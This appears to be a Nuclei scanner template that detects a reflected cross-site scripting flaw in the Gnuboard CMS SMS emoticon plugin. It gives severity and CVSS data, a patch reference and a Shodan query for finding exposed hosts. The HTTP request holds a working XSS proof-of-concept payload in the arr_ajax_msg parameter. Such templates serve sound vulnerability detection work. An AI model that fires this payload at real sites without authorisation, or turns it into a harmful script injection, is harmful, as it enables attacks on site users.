id: gnuboard-sms-xss

info:
  name: Gnuboard CMS - Cross-Site Scripting
  author: gy741
  severity: medium
  description: Gnuboard CMS contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary JavaScript into the responses returned by the server.
  reference:
    - https://sir.kr/g5_pds/4788?page=5
    - https://github.com/gnuboard/gnuboard5/commit/8182cac90d2ee2f9da06469ecba759170e782ee3
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-79,CWE-83
    cpe: cpe:2.3:a:gnuboard:gnuboard5:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"Gnuboard"
    product: gnuboard5
    vendor: gnuboard
  tags: xss,gnuboard,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/plugin/sms5/ajax.sms_emoticon.php?arr_ajax_msg=gnuboard<svg+onload=alert(document.domain)>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"0nuboard<svg onload=alert(document.domain)>"'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100bd258a0c4df21a9f950f2b5fd8b57e34fe6ebb11c6a227b26b7bf47c9bd81612022100b38fbab3265c35ff47fc17da0acd51b596b51b21a76b7332011a65134f5b04c8:922c64590222798bb761d5b6d8e72950